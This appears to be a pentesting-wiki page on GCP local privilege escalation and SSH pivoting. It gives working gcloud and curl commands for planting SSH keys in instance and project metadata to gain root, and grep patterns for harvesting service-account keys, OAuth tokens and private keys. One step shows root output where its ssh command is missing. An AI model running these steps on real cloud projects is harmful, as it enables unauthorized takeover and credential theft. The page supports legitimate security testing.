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Network Services Pentesting
GCP - Local Privilege Escalation / SSH Pivoting
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in this scenario we are going to suppose that you have compromised a non privilege account inside a VM in a Compute Engine project.
Amazingly, GPC permissions of the compute engine you have compromised may help you to escalate privileges locally inside a machine. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible.

Read the scripts

Compute Instances are probably there to execute some scripts to perform actions with their service accounts.
As IAM is go granular, an account may have read/write privileges over a resource but no list privileges.
A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called instance82736-long-term-xyz-archive-0332893.
Running gsutil ls from the command line returns nothing, as the service account is lacking the storage.buckets.list IAM permission. However, if you ran gsutil ls gs://instance82736-long-term-xyz-archive-0332893 you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.
You may be able to find this bucket name inside a script (in bash, Python, Ruby...).

Custom Metadata

Administrators can add custom metadata at the instance and project level. This is simply a way to pass arbitrary key/value pairs into an instance, and is commonly used for environment variables and startup/shutdown scripts.
# view project metadata
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
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# view instance metadata
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Modifying the metadata

If you can modify the instance's metadata, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission:
Default service account If the service account access scope is set to full access or at least is explicitly allowing access to the compute API, then this configuration is vulnerable to escalation. The default scope is not vulnerable.
Custom service account When using a custom service account, one of the following IAM permissions is necessary to escalate privileges:
  • compute.instances.setMetadata (to affect a single instance)
  • compute.projects.setCommonInstanceMetadata (to affect all instances in the project)
Although Google recommends not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:
  • https://www.googleapis.com/auth/compute
  • https://www.googleapis.com/auth/cloud-platform

Add SSH keys to custom metadata

Linux systems on GCP will typically be running Python Linux Guest Environment for Google Compute Engine scripts. One of these is the accounts daemon, which periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.
If a new public key is encountered, it will be processed and added to the local machine. Depending on the format of the key, it will either be added to the ~/.ssh/authorized_keys file of an existing user or will create a new user with sudo rights.
So, if you can modify custom instance metadata with your service account, you can escalate to root on the local system by gaining SSH rights to a privileged account. If you can modify custom project metadata, you can escalate to root on any system in the current GCP project that is running the accounts daemon.

Add SSH key to existing privileged user

Let's start by adding our own key to an existing account, as that will probably make the least noise.
Check the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
Look for a section like the following:
...
metadata:
fingerprint: QCZfVTIlKgs=
items:
...
- key: ssh-keys
value: |-
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob
...
Notice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!
Save the lines with usernames and keys in a new text file called meta.txt.
Let's assume we are targeting the user alice from above. We'll generate a new key for ourselves like this:
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
Add your new public key to the file meta.txt imitating the format:
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice
Now, you can re-write the SSH key metadata for your instance with the following command:
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
You can now access a shell in the context of alice as follows:
uid=0(root) gid=0(root) groups=0(root)

Create a new privileged user and add a SSH key

No existing keys found when following the steps above? No one else interesting in /etc/passwd to target?
You can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to sudo. Scripted, the process would look like this:
# define the new account username
NEWUSER="definitelynotahacker"
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# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
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# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
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# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
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# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Grant sudo to existing session

This one is so easy, quick, and dirty that it feels wrongโ€ฆ
gcloud compute ssh [INSTANCE NAME]
This will generate a new SSH key, add it to your existing user, and add your existing username to the google-sudoers group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.

SSH keys at project level

Following the details mentioned in the previous section you can try to compromise more VMs.
We can expand upon those a bit by applying SSH keys at the project level, granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the "Block project-wide SSH keys" option.:
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
If you're really bold, you can also just type gcloud compute ssh [INSTANCE] to use your current username on other boxes.

Using OS Login

โ€‹OS Login is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.
OS Login is enabled at the project or instance level using the metadata key of enable-oslogin = TRUE.
OS Login with two-factor authentication is enabled in the same manner with the metadata key of enable-oslogin-2fa = TRUE.
The following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:
  • compute.instances.osLogin (no sudo)
  • compute.instances.osAdminLogin (has sudo)
Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not sudo is granted.
If your service account has these permissions. You can simply run the gcloud compute ssh [INSTANCE] command to connect manually as the service account. Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.
Similar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.

Search for Keys in the filesystem

It's quite possible that other users on the same box have been running gcloud commands using an account more powerful than your own. You'll need local root to do this.
First, find what gcloud config directories exist in users' home folders.
sudo find / -name "gcloud"
You can manually inspect the files inside, but these are generally the ones with the secrets:
  • ~/.config/gcloud/credentials.db
  • ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
  • ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
  • ~/.credentials.json
Now, you have the option of looking for clear text credentials in these files or simply copying the entire gcloud folder to a machine you control and running gcloud auth list to see what accounts are now available to you.

More API Keys regexes

TARGET_DIR="/path/to/whatever"
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# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
"$TARGET_DIR"
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# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
"$TARGET_DIR"
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# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
"$TARGET_DIR"
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# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
"$TARGET_DIR"
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# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
"$TARGET_DIR"
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# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
"$TARGET_DIR"
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# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
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